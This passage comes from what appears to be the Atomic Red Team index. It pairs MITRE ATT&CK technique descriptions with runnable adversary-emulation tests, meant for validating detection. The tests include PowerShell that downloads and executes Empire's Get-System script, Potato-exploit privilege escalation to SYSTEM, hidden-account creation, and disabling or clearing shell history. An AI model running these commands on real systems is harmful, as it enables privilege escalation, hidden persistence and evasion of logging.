guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_defense_bypassed: - Anti-virus - Host Forensic Analysis - Signature-based Detection - Static File Analysis x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1134.001: technique: modified: '2024-01-10T17:57:36.177Z' name: 'Access Token Manipulation: Token Impersonation/Theft' description: |- Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread. An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system. When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Jonny Johnson x_mitre_deprecated: false x_mitre_detection: |- If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Windows User Account Control - System access controls - File system access controls type: attack-pattern id: attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d created: '2020-02-18T16:39:06.289Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1134/001 external_id: T1134.001 - source_name: Microsoft Command-line Logging description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - source_name: DuplicateToken function description: Microsoft. (2021, October 12). DuplicateToken function (securitybaseapi.h). Retrieved January 8, 2024. url: https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1134.001 atomic_tests: - name: Named pipe client impersonation auto_generated_guid: 90db9e27-8e7c-4c04-b602-a45927884966 description: |- Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context. When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM). Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose name: powershell elevation_required: true - name: "`SeDebugPrivilege` token duplication" auto_generated_guid: 34f0a430-9d04-4d98-bcb5-1989f14719f0 description: |- Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process. When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM). supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose name: powershell elevation_required: true - name: Launch NSudo Executable auto_generated_guid: 7be1bc0f-d8e5-4345-9333-f5f67d742cb9 description: |- Launches the NSudo executable for a short period of time and then exits. NSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges. supported_platforms: - windows input_arguments: nsudo_path: description: Path to the NSudoLG.exe file type: path default: PathToAtomicsFolder\T1134.001\bin\NSudoLG.exe dependency_executor_name: powershell dependencies: - description: 'NSudoLG.exe must exist in the specified path #{nsudo_path} ' prereq_command: 'if (Test-Path "#{nsudo_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" "https://github.com/M2Team/NSudo/releases/download/8.2/NSudo_8.2_All_Components.zip" Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -Force Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe" "#{nsudo_path}" Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components.zip" -Recurse -ErrorAction Ignore Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\NSudo_8.2_All_Components" -Recurse -ErrorAction Ignore executor: command: | Start-Process "#{nsudo_path}" -Argument "-U:T -P:E cmd" Start-Sleep -Second 5 Stop-Process -Name "cmd" -force -erroraction silentlycontinue name: powershell - name: Bad Potato auto_generated_guid: 9c6d799b-c111-4749-a42f-ec2f8cb51448 description: |- https://github.com/BeichenDream/BadPotato Privilege escalation using named pipe connections supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'BadPotato.exe must exist in the temp directory ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\BadPotato.exe" "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.001/bin/BadPotato.exe?raw=true" executor: command: | cd "PathToAtomicsFolder\..\ExternalPayloads" Start-Process .\BadPotato.exe notepad.exe Start-Sleep -Second 20 Stop-Process -Name "notepad" -force -erroraction silentlycontinue Stop-Process -Name "BadPotato" -force -erroraction silentlycontinue cleanup_command: 'taskkill /f /im notepad.exe ' name: powershell elevation_required: true - name: Juicy Potato auto_generated_guid: f095e373-b936-4eb4-8d22-f47ccbfbe64a description: "This Atomic utilizes Juicy Potato to obtain privilege escalation. \nUpon successful execution of this test, a vulnerable CLSID will be used to execute a process with system permissions.\nThis tactic has been previously observed in SnapMC Ransomware, amongst numerous other campaigns. \n[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)" supported_platforms: - windows input_arguments: potato_path: description: Path to the JuicyPotato.exe file type: path default: PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe listening_port: description: COM server listen port type: integer default: 7777 target_exe: description: Target executable to launch with system privileges type: path default: "$env:windir\\system32\\notepad.exe" target_CLSID: description: Vulnerable CLSID to impersonate privileges type: string default: "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}" dependency_executor_name: powershell dependencies: - description: 'JuicyPotato.exe must exist on disk ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\JuicyPotato.exe" "https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe" executor: command: 'cmd /c ''#{potato_path}'' -l ''#{listening_port}'' -t * -p ''#{target_exe}'' -c ''#{target_CLSID}'' ' cleanup_command: | get-ciminstance Win32_Process | where-object { $_.Path -eq "#{target_exe}" } | invoke-cimmethod -methodname "terminate" | out-null get-ciminstance Win32_Process | where-object { $_.Path -eq "#{potato_path}" } | invoke-cimmethod -methodname "terminate" | out-null name: powershell elevation_required: true T1205.001: technique: x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd type: attack-pattern created: '2020-07-01T18:23:25.002Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1205.001 url: https://attack.mitre.org/techniques/T1205/001 - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631 description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.' source_name: Hartrell cd00r 2002 modified: '2022-05-11T14:00:00.188Z' name: Port Knocking description: |- Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system. The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Flow' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1027.012: technique: modified: '2023-10-17T02:12:05.242Z' name: LNK Icon Smuggling description: "Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads. \n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Michael Raggi @aRtAGGI - Andrew Northern, @ex_raritas - Gregory Lesnewich, @greglesnewich x_mitre_deprecated: false x_mitre_detection: "\n" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'File: File Metadata' - 'File: File Creation' type: attack-pattern id: attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc created: '2023-09-29T15:28:42.409Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027/012 external_id: T1027.012 - source_name: Unprotect Shortcut description: Unprotect Project. (2019, March 18). Shortcut Hiding. Retrieved October 3, 2023. url: https://unprotect.it/technique/shortcut-hiding/ - source_name: Booby Trap Shortcut 2017 description: Weyne, F. (2017, April). Booby trap a shortcut with a backdoor. Retrieved October 3, 2023. url: https://www.uperesia.com/booby-trapped-shortcut object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1564.002: technique: x_mitre_platforms: - macOS - Windows - Linux x_mitre_domains: - enterprise-attack x_mitre_contributors: - Omkar Gudhate object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d created: '2020-03-13T20:12:40.876Z' x_mitre_version: '1.2' external_references: - source_name: mitre-attack external_id: T1564.002 url: https://attack.mitre.org/techniques/T1564/002 - source_name: Cybereason OSX Pirrit url: https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021. - source_name: Apple Support Hide a User Account url: https://support.apple.com/en-us/HT203998 description: Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021. - source_name: FireEye SMOKEDHAM June 2021 url: https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html description: FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021. - source_name: Hide GDM User Accounts url: https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/ description: Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022. - source_name: US-CERT TA18-074A url: https://www.us-cert.gov/ncas/alerts/TA18-074A description: 'US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.' x_mitre_deprecated: false revoked: false description: "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user’s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary." modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Hide Artifacts: Hidden Users' x_mitre_detection: "Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. \n\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList key.\n\nIn macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the Hide500Users key value to TRUE in the /Library/Preferences/com.apple.loginwindow plist file. Monitor the command line for usage of the dscl . create command with the IsHidden attribute set to 1.(Citation: Apple Support Hide a User Account) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: true x_mitre_data_sources: - 'File: File Modification' - 'User Account: User Account Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' - 'Command: Command Execution' - 'User Account: User Account Metadata' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1564.002 atomic_tests: - name: Create Hidden User using UniqueID < 500 auto_generated_guid: 4238a7f0-a980-4fff-98a2-dfc0a363d507 description: 'Add a hidden user on macOS using Unique ID < 500 (users with that ID are hidden by default) ' supported_platforms: - macos input_arguments: user_name: description: username to add type: string default: APT executor: command: 'sudo dscl . -create /Users/#{user_name} UniqueID 333 ' cleanup_command: 'sudo dscl . -delete /Users/#{user_name} ' elevation_required: true name: sh - name: Create Hidden User using IsHidden option auto_generated_guid: de87ed7b-52c3-43fd-9554-730f695e7f31 description: 'Add a hidden user on macOS using IsHidden optoin ' supported_platforms: - macos input_arguments: user_name: description: username to add type: string default: APT executor: command: 'sudo dscl . -create /Users/#{user_name} IsHidden 1 ' cleanup_command: 'sudo dscl . -delete /Users/#{user_name} ' elevation_required: true name: sh - name: Create Hidden User in Registry auto_generated_guid: 173126b7-afe4-45eb-8680-fa9f6400431c description: | Adversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen. Reference https://attack.mitre.org/techniques/T1564/002/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/ supported_platforms: - windows input_arguments: user_password: description: Password for new user account type: string default: At0micRedTeam! user_name: description: Username type: string default: AtomicOperator executor: command: "NET USER #{user_name}$ #{user_password} /ADD /expires:never \nREG ADD \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" /v #{user_name}$ /t REG_DWORD /d 0\n" cleanup_command: | reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v #{user_name}$ /f >nul 2>&1 net user ${user_name}$ /delete >nul 2>&1 name: command_prompt elevation_required: true T1134.003: technique: modified: '2024-01-10T17:55:46.905Z' name: Make and Impersonate Token description: |- Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread. This behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Jonny Johnson x_mitre_deprecated: false x_mitre_detection: |- If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. Analysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: OS API Execution' - 'Command: Command Execution' x_mitre_defense_bypassed: - Windows User Account Control - System access controls - File system access controls x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819 created: '2020-02-18T18:03:37.481Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1134/003 external_id: T1134.003 - source_name: Microsoft Command-line Logging description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - source_name: LogonUserW function description: Microsoft. (2023, March 10). LogonUserW function (winbase.h). Retrieved January 8, 2024. url: https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1562.003: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Impair Defenses: Impair Command History Logging' description: "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. no logging)." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Vikas Singh, Sophos - Emile Kenning, Sophos - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: |- Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious. Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '2.2' x_mitre_data_sources: - 'Sensor Health: Host Status' - 'Command: Command Execution' x_mitre_defense_bypassed: - Host forensic analysis - Log analysis type: attack-pattern id: attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59 created: '2020-02-21T20:56:06.498Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1562/003 external_id: T1562.003 - source_name: Sophos PowerShell command audit description: jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020. url: https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit - source_name: Microsoft PowerShell Command History description: Microsoft. (2020, May 13). About History. Retrieved September 4, 2020. url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7 - source_name: Sophos PowerShell Command History Forensics description: Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020. url: https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1562.003 atomic_tests: - name: Disable history collection auto_generated_guid: 4eafdb45-0f79-4d66-aa86-a3e2c08791f5 description: 'Disables history collection in shells ' supported_platforms: - linux - macos input_arguments: evil_command: description: Command to run after shell history collection is disabled type: string default: whoami executor: command: | export HISTCONTROL=ignoreboth #{evil_command} name: sh - name: Disable history collection (freebsd) auto_generated_guid: cada55b4-8251-4c60-819e-8ec1b33c9306 description: 'Disables history collection in shells ' supported_platforms: - linux input_arguments: evil_command: description: Command to run after shell history collection is disabled type: string default: whoami executor: command: | export HISTSIZE=0 #{evil_command} name: sh - name: Mac HISTCONTROL auto_generated_guid: 468566d5-83e5-40c1-b338-511e1659628d description: "The HISTCONTROL variable is set to ignore (not write to the history file) command that are a duplicate of something already in the history \nand commands that start with a space. This atomic sets this variable in the current session and also writes it to the current user's ~/.bash_profile \nso that it will apply to all future settings as well.\nhttps://www.linuxjournal.com/content/using-bash-history-more-efficiently-histcontrol\n" supported_platforms: - macos - linux executor: steps: | 1. export HISTCONTROL=ignoreboth 2. echo export "HISTCONTROL=ignoreboth" >> ~/.bash_profile 3. ls 4. whoami > recon.txt name: manual - name: Clear bash history auto_generated_guid: 878794f7-c511-4199-a950-8c28b3ed8e5b description: "An attacker may clear the bash history cache and the history file as their last act before logging off to remove the record of their command line activities. \n\nIn this test we use the $HISTFILE variable throughout to 1. confirms the $HISTFILE variable is set 2. echo \"\" into it 3..5 confirm the file is empty 6 clear the history cache 7. confirm the history cache is empty. This is when the attacker would logoff.\n" supported_platforms: - linux executor: name: bash elevation_required: false command: "cp $HISTFILE $HISTFILE.OLD\nif ((${#HISTFILE[@]})); then echo $HISTFILE; fi\necho \"\" > $HISTFILE\nif [ $(wc -c <$HISTFILE) -gt 1 ]; then echo \"$HISTFILE is larger than 1k\"; fi\nls -la $HISTFILE \ncat $HISTFILE\nhistory -c \nif [ $(history |wc -l) -eq 1 ]; then echo \"History cache cleared\"; fi\n" cleanup_command: "mv -f $HISTFILE.OLD $HISTFILE \n" - name: Setting the HISTCONTROL environment variable auto_generated_guid: 10ab786a-028e-4465-96f6-9e83ca6c5f24 description: "An attacker may exploit the space before a command (e.g. \" ls\") or the duplicate command suppression feature in Bash history to prevent their commands from being recorded in the history file or to obscure the order of commands used. \n\nIn this test we 1. sets $HISTCONTROL to ignoreboth 2. clears the history cache 3. executes ls -la with a space in-front of it 4. confirms that ls -la is not in the history cache 5. sets $HISTCONTROL to erasedups 6. clears the history cache 7..9 executes ls -la $HISTFILE 3 times 10. confirms that their is only one command in history\n" supported_platforms: - linux executor: name: bash elevation_required: false command: "TEST=$(echo $HISTCONTROL)\nif [ \"$HISTCONTROL\" != \"ignoreboth\" ]; then export HISTCONTROL=\"ignoreboth\"; fi\nhistory -c \nls -la $HISTFILE # \" ls -la $HISTFILE\"\nif [ $(history |wc -l) -eq 1 ]; then echo \"ls -la is not in history cache\"; fi\n# -> ls -la is not in history cache\nif [ \"$HISTCONTROL\" != \"erasedups\" ]; then export HISTCONTROL=\"erasedups\"; fi\nhistory -c \nls -la $HISTFILE\nls -la $HISTFILE\nls -la $HISTFILE\nif [ $(history |wc -l) -eq 2 ]; then echo \"Their is only one entry for ls -la $HISTFILE\"; fi\n" cleanup_command: 'export HISTCONTROL=$(echo $TEST) ' - name: Setting the HISTFILESIZE environment variable auto_generated_guid: 5cafd6c1-2f43-46eb-ac47-a5301ba0a618 description: | An Adversary may set the bash history files size environment variable (HISTFILESIZE) to zero to prevent the logging of commands to the history file after they log 